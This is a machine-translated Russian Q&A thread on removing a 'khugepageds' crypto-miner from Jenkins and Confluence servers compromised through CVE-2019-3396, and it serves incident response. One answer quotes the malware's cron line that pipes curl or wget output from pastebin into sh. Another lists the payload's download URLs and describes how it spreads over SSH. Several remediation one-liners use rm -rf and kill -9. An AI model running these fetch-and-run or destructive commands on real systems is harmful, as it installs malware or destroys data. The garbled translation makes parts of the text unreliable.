Ответ 1

Итак, мы только что это случилось с нами. Что касается других ответов и некоторых собственных копаний, мы смогли убить, чтобы обработать (и сохранить его уничтоженным), выполнив следующую команду...

rm -rf /tmp/*; crontab -r -u jenkins; kill -9 PID_OF_khugepageds; crontab -r -u jenkins; rm -rf /tmp/*; reboot -h now;

Обязательно замените PID_OF_khugepageds на PID на вашем компьютере. Это также очистит запись в crontab. Запустите все это как одну команду, чтобы процесс не воскресил сам себя. Машина перезагрузится в соответствии с последней командой.

ПРИМЕЧАНИЕ. Хотя приведенная выше команда должна завершить процесс, вам, вероятно, захочется свернуть/восстановить ваши ключи SSH (на компьютере Jenkins, BitBucket/GitHub и т.д., А также на любых других компьютерах, к которым у Jenkins был доступ) и, возможно, даже ускорить новый экземпляр Jenkins (если у вас есть такая опция).

Ответ 2

Да, мы также пострадали от этой уязвимости, благодаря pittss мы смогли обнаружить немного больше об этом.

Вы должны проверить /var/logs/syslogs на наличие скрипта curl pastebin, который, похоже, запускает процесс мозолей в системе, он попытается снова расширить доступ к папке /tmp и установить нежелательные пакеты/скрипт.

Вы должны удалить все из папки /tmp, остановить jenkins, проверить процесс cron и удалить те, которые кажутся подозрительными, перезапустить виртуальную машину.

Так как вышеупомянутая уязвимость добавляет нежелательный исполняемый файл в /tmp foler и пытается получить доступ к виртуальной машине через ssh. Эта уязвимость также добавила процесс cron в вашей системе, остерегайтесь его также удалять.

Также проверьте папку ~/.ssh на наличие известных_хостов и авторизованных ключей для любых подозрительных открытых ключей ssh. Атакующий может добавить свои ssh-ключи, чтобы получить доступ к вашей системе.

Надеюсь это поможет.

Ответ 3

Это уязвимость Confluence https://nvd.nist.gov/vuln/detail/CVE-2019-3396, опубликованная 25 марта 2019 года. Она позволяет удаленным злоумышленникам достигать обхода пути и выполнять удаленный код на экземпляре Confluence Server или в центре обработки данных через внедрение шаблона на стороне сервера.

Возможное решение

1. Не запускайте Confluence как root!
2. Остановить агент ботнета: kill -9 $ (cat/tmp/.X11unix); killall -9 khugepageds
3. Остановите слияние: <confluence_home>/app/bin/stop-confluence.sh
4. Удалить сломанный crontab: crontab -u <confluence_user> -r
5. Заткни дыру, заблокировав доступ к уязвимому пути /rest/tinymce/1/macro/preview на внешнем сервере; для nginx это примерно так:

    location /rest/tinymce/1/macro/preview {
        return 403;
    }

5. Перезапустите Confluence.

Эксплойт

Содержит две части: сценарий оболочки из https://pastebin.com/raw/xmxHzu5P и двоичный файл x86_64 для Linux из http://sowcar.com/t6/696/1554470365x2890174166.jpg

Сначала скрипт убивает всех других известных троянских/вирусов/агентов ботнетов, загружает и порождает двоичный файл из /tmp/kerberods и перебирает /root/.ssh/known_hosts, пытаясь распространиться на соседние машины.

Двоичный файл размером 3395072 и датой 5 апреля 16:19 упакован исполняемым упаковщиком LSD (http://lsd.dg.com). Я еще не исследовал, что он делает. Похоже на контроллер ботнета.

Ответ 4

это похоже на уязвимость. попробуйте посмотреть syslog (/var/log/syslog, а не журнал jenkinks) примерно так: CRON (jenkins) CMD ((curl -fsSL https://pastebin.com/raw/***||wget -q -O- https://pastebin.com/raw/***)|sh).

Если это так, попробуйте остановить jenkins, очистить /tmp dir и убить все pids, запущенные пользователем jenkins.

После того, как использование ЦП прекратится, попробуйте обновить до последней версии tls jenkins. Далее после запуска jenkins обновите все плагины в jenkins.

Ответ 5

Я убил процесс khugepageds и удалил запись crontab для Дженкинса.

Я также отключил crontab для jenkins, добавив пользователя в файл cron.deny:

кошка /etc/cron.deny

Дженкинс

Но проблема не была решена. Может кто-нибудь помочь мне об этой проблеме?

Ответ 6

Решение, которое работает, потому что файл cron просто воссоздается, состоит в том, чтобы очистить cronfile Дженкинса, я также изменил владельца и также сделал файл неизменным.

Это, наконец, остановило этот процесс от..

Ответ 7

Я написал небольшой пост в блоге об этом и связал эту ветку. Спасибо всем за ваш вклад в выяснение этого. https://medium.com/@ben.fraser_45814/a-brush-with-crypto-miner-malware-529ce68a766d

Ответ 8

Вы, ребята, думаете, это из-за какого-то плагина Дженкинса? Вопрос, как получается, что к хосту jenkins обращаются извне?

Ответ 9

Получил удар, также через слияние

Ответ 10

В моем случае это делало сборку случайным образом со следующей ошибкой:

Maven JVM неожиданно завершил работу с кодом выхода 137

Мне потребовалось некоторое время, чтобы уделить должное внимание процессу Khugepageds, поскольку в каждом месте, где я читал об этой ошибке, данное решение заключалось в увеличении памяти.

Проблема была решена с помощью решения @HeffZilla.